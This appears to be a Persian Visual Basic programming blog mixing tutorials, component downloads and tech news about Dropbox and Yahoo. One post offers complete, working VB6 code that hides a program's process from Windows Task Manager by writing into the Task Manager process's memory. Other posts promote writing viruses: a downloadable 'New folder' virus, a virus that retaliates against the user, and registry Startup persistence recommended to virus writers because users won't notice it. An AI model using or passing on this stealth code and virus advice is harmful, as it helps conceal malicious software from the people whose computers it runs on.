برنامه نویسی

با کامپیوتر های کوچکی که روز به روز در حال عرضه هستند، نصب یک سیستم عامل بر روی آنها بدون نیاز به سی دی و یا دی وی دی بیش از گذشته احساس می شود. اگر  مایل هستید از سیستم عامل ویندوز 7 استفاده کنید اما سیستمتان فاقد درایو نوری است، نگران نباشید. می توانید ویندوز 7 را از روی فلش نصب کنید! به راحتی و بدون هیچ مشکلی.

مراحل کار به این صورت است که ابتدا فلش خود را(که حداقل باید 2.5 گیگ فضای خالی داشته باشد) به صورت مناسب فرمت می کنیم و سپس فایل های ویندوز 7 را بر روی آن کپی می کنیم. همین!

دانلود مجموعه ای کامل از کامپوننت های ویژوال بیسیک براتون آماده کردم که امید وارم به دردتون بخوره و استفاده کنید.

*برای دانلود روی لینک کلیک راست کرده و "Open link in new tab" رو بزنید.

1- MBCleander – تقویم شمسی زیبا و بسیار کامل – دانلود

2- MBButton – دکمه ای زیبا با حاشیه ای گرد و امکانات کامل – دانلود

3- MEShamsiDate – کامل ترین ابزار برای کار با تاریخ شمسی – دانلود

4- MBTool Button – دکمه ای برای استفاده در نوار ابزار یا Toolbar – دانلود

5- MBMsgBox – یک MsgBox کوچک، زیبا و سفارشی – دانلود

6- MBComboBox – یک کمبوباکس زیبا و سفارشی – دانلود

7- MBHMS Counter – کنترلی برای نمایش زمان – دانلود

8- MBFrameX – یک فریم زیبا و سفارشی جایگزین خوبی برای فریم VB – دانلود

9- MBAutoComplete TextBox – یک جعبه متن همراه با امکان AutoComplete – دانلود

10- MBPanel List – لیست باکسی قدرتمندتر و سفارشی تر از لیست باکس VB – دانلود

11- MBStatusBar – بهترین نوار وضعیتی که دیده اید با امکانات بالا – دانلود

12- MBTextBox – یک جعب متن شبیه جعبه متن معمولی با امکانات بیشتر -دانلود

13- MBTreeSL – ابزاری برای نمایش مرجله از کار که برنامه در آن قرار دارد – دانلود

...

مهر- مجله "فوربس" داستان شگفت انگیزی از تلاش بی ثمر "استیو جابز" برای خرید شرکتی که یک جوان ایرانی بنیانگذار آن است منتشر کرد. شرکتی که امروز یکی از مهمترین رقبای سرویس iCloud اپل به شمار می رود.
این یک داستان کمیاب از "استیو جابز" و شرکت IT یک جوان ایرانی در سانفرانسیسکو است.
این ماجرا از سال 2007 و زمانی آغاز شد که دو جوان فارغ التحصیل "ام. آی. تی" (موسسه تکنولوژی ماساچوست) به نامهای "دریو هاستون" و "آرش فردوسی" پس از پایان تحصیلات خود شرکتی به نام "دراپباکس" (Dropbox) را راه اندازی کردند.
این شرکت که با یک ایده ساده رشد کرد بر روی وب به کاربران سرویس ذخیره اطلاعات برپایه ابرهای محاسباتی را ارائه می کند.
شرکت آرش فردوسی و "دریو هاستون" تاحدی نوآورانه بود که به سرعت مورد توجه استیو جابز قرار گرفت به طوریکه در دسامبر 2009 جابز، هاستون و فردوسی را فرا خواند و آن دو را به دفتر خود در شرکت اپل واقع در کوپرتینو دعوت کرد.
هاستون که امروز 28 سال دارد در گفتگویی که با مجله "فوربس" داشت، گفت: "جابز با همان شلوار جین و تی شرت یقه 3 سانتی همیشگی حاضر بود و زمانی که لپ تاپم را بیرون آوردم تا یک نمونه نمایشی از فعالیت شرکت را به وی نشان دهم به ملایمت دستش را تکان داد و گفت: می دانم می خواهی چه کار کنی."
"دراپباکس" یک سرویس ذخیره سازی اطلاعات دیجیتال است که در آن زمان بیش از 50 میلیون کاربر داشت و به همین دلیل جابز به "هاستون" و "فردوسی" برای خرید این شرکت، یک مبلغ با 8 صفر را پیشنهاد کرد.
جابز، فردوسی و هاستون باهم چای خوردند و جابز موثرانه گفت که به خرید این شرکت تمایل دارد. اما هاستون گفت: "من مصمم هستم که شرکت بزرگی را بسازم و بنابراین آن را نمی فروشم. برایم اهمیت ندارد که پیشنهاد دهنده ام کیست." (هاستون تاکید کرد که جابز برایش یک قهرمان بود باوجود این، پیشنهاد خرید را نپذیرفت).
جابز نیز به گرمی تبسم کرد و به این دو جوان گفت: "دراپباکس یک محصول نیست، بلکه یک مشخصه کاربردی است."
تلاش بی ثمر استیو جابز در متقاعد کردن "دریو هاستون" و "آرش فردوسی" نیمساعت به طول انجامید.
چند ماه بعد، جابز به آنها پیشنهاد داد که این دو بنیانگذار جوان را در عوض دیدار مجدد در "سیلیکون ولی" در دفتر کار آنها در شرکت "دراپباکس" در سانفرانسیسکو ملاقات کند، اما آن دو خواستند که این ملاقات در "سیلیکون ولی" انجام شود که این بار رئیس اپل از این دیدار خودداری کرد و پس از مدتی از سرویس iCloud رونمایی کرد.
پس از رونمایی از iCloud هاستون اینگونه واکنش نشان داد: "اه... لعنت!" و روز بعد اطلاعیه ای را برای تمام کارمندانش ارسال کرد: "ما یکی از شرکتهایی را در اختیار داریم که برخلاف نامهایی چون مای- اسپیس، پالم و یاهو سریعترین رشد را در دنیا داشته است."
در سال 2008 دارایی هاستون معادل 7.2 میلیون دلار بود. در آگوست 2011 هاستون و فردوسی 7 تن از بزرگان سیلیکون ولی را به منظور مشارکت با "دراپباکس" به سانفرانسیسکو دعوت کردند.
شرکت "دراپباکس" همانند سایر سرویسهای دسترسی آزاد اولیه به کاربران اجازه می دهد که با یک حجم محدود به این سرویس ملحق شوند و از 2 گیگابایت فضای رایگان ذخیره سازی اطلاعات لذت ببرند.
این فضا برای بسیاری از کاربرانی که می خواهند مدارک خود را ذخیره کنند کافی است، اما در صورتیکه مشتری به فضای بیشتری نیاز داشته باشد برمبنای نیاز بین 10 تا 20 دلار در ماه باید حق اشتراک پرداخت کند.
زمانی که جابز در سال 2009 هاستون و آرش فردوسی را در دفتر کار خود ملاقات کرد تنها دو سال از تاسیس "دراپباکس" می گذشت و با وجود این 50 میلیون کاربر داشت. امروز این شرکت بیش از 150 میلیون کاربر دارد و علیرغم اینکه 96 درصد از کاربران تنها از فضای رایگان این سرویس استفاده می کنند درآمد Dropbox به 240 میلیون دلار در سال 2011 رسید، تا جاییکه درحال حاضر یکی از رقبای جدی iCloud اپل به شمار می رود.
شرکتی که جوان 26 ساله ایرانی "ام. آی. تی" به همراه دوست آمریکایی خود در سال 2007 تاسیس کردند در سال 2008 فینالیست رقابت TechCrunch50 شد و در سال 2011 مجله Inc. Magazine نام آرش فردوسی را در فهرست سالانه 30 کارگزار اقتصادی زیر 30 سال وارد کرد.

سلام

این نرم افزار تا دلتون بخواد براتون کلیک میکنه البته بیشتر واسه آموزشه امیدوارم بدرد بخوره

دانلود برنامه + سورس برنامه....

عملگرها نمادهايي هستند كه اعمالي را روي مقادير(متغييرها و مقادير ثابت) انجام ميدهند.فرضا عملگر + روي دو عملوند عمل ميكند و آنها را با هم جمع ميكند.در ويژوال بيسيك عملگرها را به سه دسته تقسيم خواهيم كرد.عملگرهاي حسابي ، عملگرهاي رابطه اي و عملگرهاي منطقي.در جدول هاي زير انواع عملگرها را به همراه نام و مثال هايي از هر كدام را مشاهده ميكنيد.

مطمئنا همه کسانی که برنامه نویسی می کنند با Message BOx آشنایی دارند. اما یکی از مشکلاتی که در این خصوص وجود داره این است که کلیدهای روی MessageBOx  به زبان انگلیسی است(منظورمOk,NO,Yes,Cancel هست).

برای حل این مشکل ابتدا کلاس  MessageBox  را به پروژه خود اضافه کنید.

 پس از این کار هر جایی از برنامه خود که خواستید از MessageBOx ها استفاده کنید(مثلا در رویدادFormClosing) باید از کد زیر استفاده کنید:

 
pirooz.parsiblog.com

سلام

یه پروژه جدید دارم واستون افکت تایپ هست میتونید تو برنامه هاتون استفاده کنید
من برای اینکه مشکلی پیش نیاد از تابع ()Chr استفاده کردم ولی شما میتونید واسه خودتون بصورت سفارشی درست کنید  کد اون رو هم بصورت comment تو پنجره کد ها گذاشتم براتون.

موفق باشید

 

سلام

همون طور که میدونید برچسب (تگ) ها خیلی تو بالا بردن آمار مهمن واسه همین این برنامه رو نوشتم امید وارم خوشتون بیاد.

این برنامه رو برای رزبلاگی ها نوشتم البته با قابلیت جدیدی که اضافه شده وبلاگ نویسای دیگه هم میتونن  از این برنامه ی ساده استفاده کنن.

همونطور که از تصویر بالا معلومه شما فقط یکبار برچسب های تکراری که زیاد استفاده میکنید رو اینجا ثبت میکنید و از نوشتن مجدد اونها خلاص میشید! نحوه ی کار با برنامه تو یه فایل  PDF نوشته شده لطفا اون رو با دقت بخونید.

موفق باشید.

دانلود برنامه در ادامه...
 

سلام

با این کد میتونید پروسس برنامه تون رو از تب Processes برنامه Task manager مخفی کنید

کافیه تو فرم یه تایمر بذارید و این کد رو تو بخش جنرال فرم کپی کنید:

Private Type bkh flag As Long psz As Long lParam As Long pt As Long vkDirection As Long End Type Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Sub Hide_Process(Name As String) Dim pName As Long Dim pType As Long Dim l As Long Dim Tid As Long Dim hTid As Long Dim pid As Long Dim h As Long Dim i As Long Dim hProcess As Long Dim f As bkh Dim s As String Dim bkh() As Byte h = FindWindow(vbNullString, "Windows Task Manager") KillTimer h, 0 h = FindWindowEx(h, 0, "#32770", vbNullString) h = FindWindowEx(h, 0, "SysListView32", vbNullString) If h = 0 Then Exit Sub f.flag = 8 Or &H20 Call GetWindowThreadProcessId(h, pid) hProcess = OpenProcess(1082, 0, pid) bkh = StrConv(Name, vbFromUnicode) pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4) WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l f.psz = pName pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4) WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l i = SendMessage(h, &H1000 + 13, 0, pType) If i <> -1 Then SendMessage h, &H1000 + 8, i, 0 VirtualFreeEx hProcess, pType, Len(f), &H8000 VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000 End Sub Private Sub Form_Load() Timer1.Enabled = True Timer1.Interval = 5000 End Sub Private Sub Timer1_Timer() Hide_Process CStr(App.EXEName & ".exe") End Sub

خبرگزاری‌ها- به دنبال اخراج کارول بارتز از یاهو و تثبیت نسبی وضعیت این شرکت به نظر می رسد، یاهو هم اکنون برای فروش وضعیت کاملا مناسبی دارد.
بعد از تزلزل مدیریتی اولیه که ناشی از تحولات اخیر سازمانی در یاهو بود، ارزش سهام این شرکت مجدداً سیر صعودی خود را از سر گرفته و کارشناسان و ناظران بازار می گویند به زودی غول های فناوری برای خرید یاهو با هم زورآزمایی خواهند کرد.
در حالی که چند هفته ای است نام مایکروسافت برای این کار زیاد به گوش می رسد، حال شنیده می شود که گوگل هم به جمع خریداران بالقوه یاهو پیوسته است.
البته شنیده می شود گوگل برای خرید یاهو به تنهایی وارد عمل نمی شود و از شرکت یا شرکت های دیگری هم کمک می گیرد.
دیگر خریداران احتمالی یاهو عبارتند از شرکت چینی علی بابا و یکی دو شرکت دیگر که هنوز نامشان به طور علنی اعلام نشده است. از زمان اخراج کارول بارتز از یاهو در شهریور ماه گذشته ارزش سهام یاهو حدود 25 درصد رشد کرده است.
برخی منابع حتی از آغاز مذاکرات اولیه مدیران یاهو با گوگل برای این کار خبر داده اند. این در حالی است که مایکروسافت چند سالی است برای تصاحب یاهو تلاش خود را آغاز کرده است.

--------------------------------------------

آموزش PHP قسمت اول - آموزش PHP قسمت دوم - آموزش PHP قسمت سوم - آموزش PHP قسمت چهارم

دوستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختلفی داره .از جمله این که به یارو بفهمونه منم ویروس بلدم بنویسم!!!(این کار بخصوص نزد تازه کارها از جمله خودم رواج بیشتری داره)
ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه 

وسایل لازم: فقط یه تایمر مثل همیشه!
کدها:

سلام، تا به حال شده برین و ویژوال بیسیک تونو بازکنید و بخوایین توش فارسی بنویسیداماچنین چیزیببینید؟

خوب این یه مشکل خیلی ساده است که برای منم پیش اومده بود، کاری نداره! فقط این مسیر رو برید:

Tools>Option>Editor format

حالا تو قسمت Font برید و ( Courier New (Arabic رو انتخاب کنید و مشکل حله.

ویژوال بیسیک توسعه یافته زبان برنامه‌ نویسی بیسیک می‌باشد. بیسیک توسط پروفسور جان کمنسی و توماس کرتز از کالج دارتموث برای نوشتن برنامه‌ های ساده ایجاد شد. طراحی آن از اواسط دهه ۱۹۶۰ آغاز گردید.
ویژوال بیسیک تا نسخه ۳ به صورت ۱۶ بیتی بود. از نسخه ۵ به بعد فقط ویرایش ۳۲ بیتی آن ارائه شد. (نسخه ۴ هم به صورت ۱۶ بیتی و هم به صورت ۳۲ بیتی عرضه شده بود.)
ویژوال بیسیک از نسخه ۶ به بعد بر پایه چارچوب دات‌ نت (NET.) ارائه شد.
اگر چه با ظهور ویژوال بیسیک دات نت اکثر برنامه‌نویسان ویژوال بیسیک ۶ به آن گرویدند، ولی نسخه ۶ همچنان طرفداران ویژهٔ خود را دارد.
ویژوال بیسیک برای توسعه سریع نرم افزار (RAD یا Rapid Application Development) بر پایه رابط گرافیگی کاربر (GUI یا Graphical User Interface) توسعه داده شد. دسترسی آسان و سریع به پایگاه دادهها با استفاده از DAO ،RDO یا ADO و ایجاد کنترل‌ های اکتیو ایکس از جمله مواردی هستند که این زبان را برای RAD مناسب کرده‌ اند.

برنامه ‌نویسی در ویژوال بیسیک به صورت رخدادگرا می‌باشد.
در برنامه‌ نویسی تجاری، ویژوال بیسیک جز محبوب‌ ترین‌ ها است. بنابه آماری که در سال ۲۰۰۳ منتشر شد، ۵۳٪ از برنامه‌های تجاری با استفاده از این زبان تولید شده‌ اند.

تغییرات حاصله در ویرایش نسخه جدید 2009 به شرح زیر است.

سلام،بازم یه پروژه البته شاید خطرناک براتون گذاشتم تا با کد این ویروس آشنا بشید. این یه نوع ویروس New folder که به زبان ویژوال بیسیک نوشته شده.

*قبل از اجرای برنامه حتما حتما حتما یه Restore Point از سیستمتون بگیرید.

دانلود در ادامه...

برای اینکار دو روش وجود داره؛ روش اول اینه که برنامه رو در پوشه Startup کپی کنیم که روش جالبی نیست چون کاربر میتونه بره به اون پوشه و فایل رو پاک کنه و امّا روش دوّم (قابل توجّه ویروس نویسا) اینه که برنامه رو تو لیست برنامه های Startup در رجیستری ذخیره کنیم که روش مطمئن و بهتریه چون کاربر نمیدونه برنامه کجا قرار داره و از کجا اجرا میشه مگر اینکه از طریق رجیستری و یا برنامه System Configuration Utility (تایپ msconfig در Run ویندوز) متوجه مسیر برنامه بشه که خب خوشبختانه همه اینکارو بلد نیستن...

منظورم از اجرای مجدد اینه که کاربر نتونه برنامه شما رو همزمان چند بار اجرا کنه
که یه کد خیلی ساده است ولی کاربردی!

مثلا برای اینکه بعد از اجرای مجدد یه پیغامی بده این کد رو تو Form_load بنویسید:

این مطلب به دلیل اخطار سازمان فیلترینگ کشور حذف گردید.

برنامه نویسی

Moosa.7272[aT]yahoo.com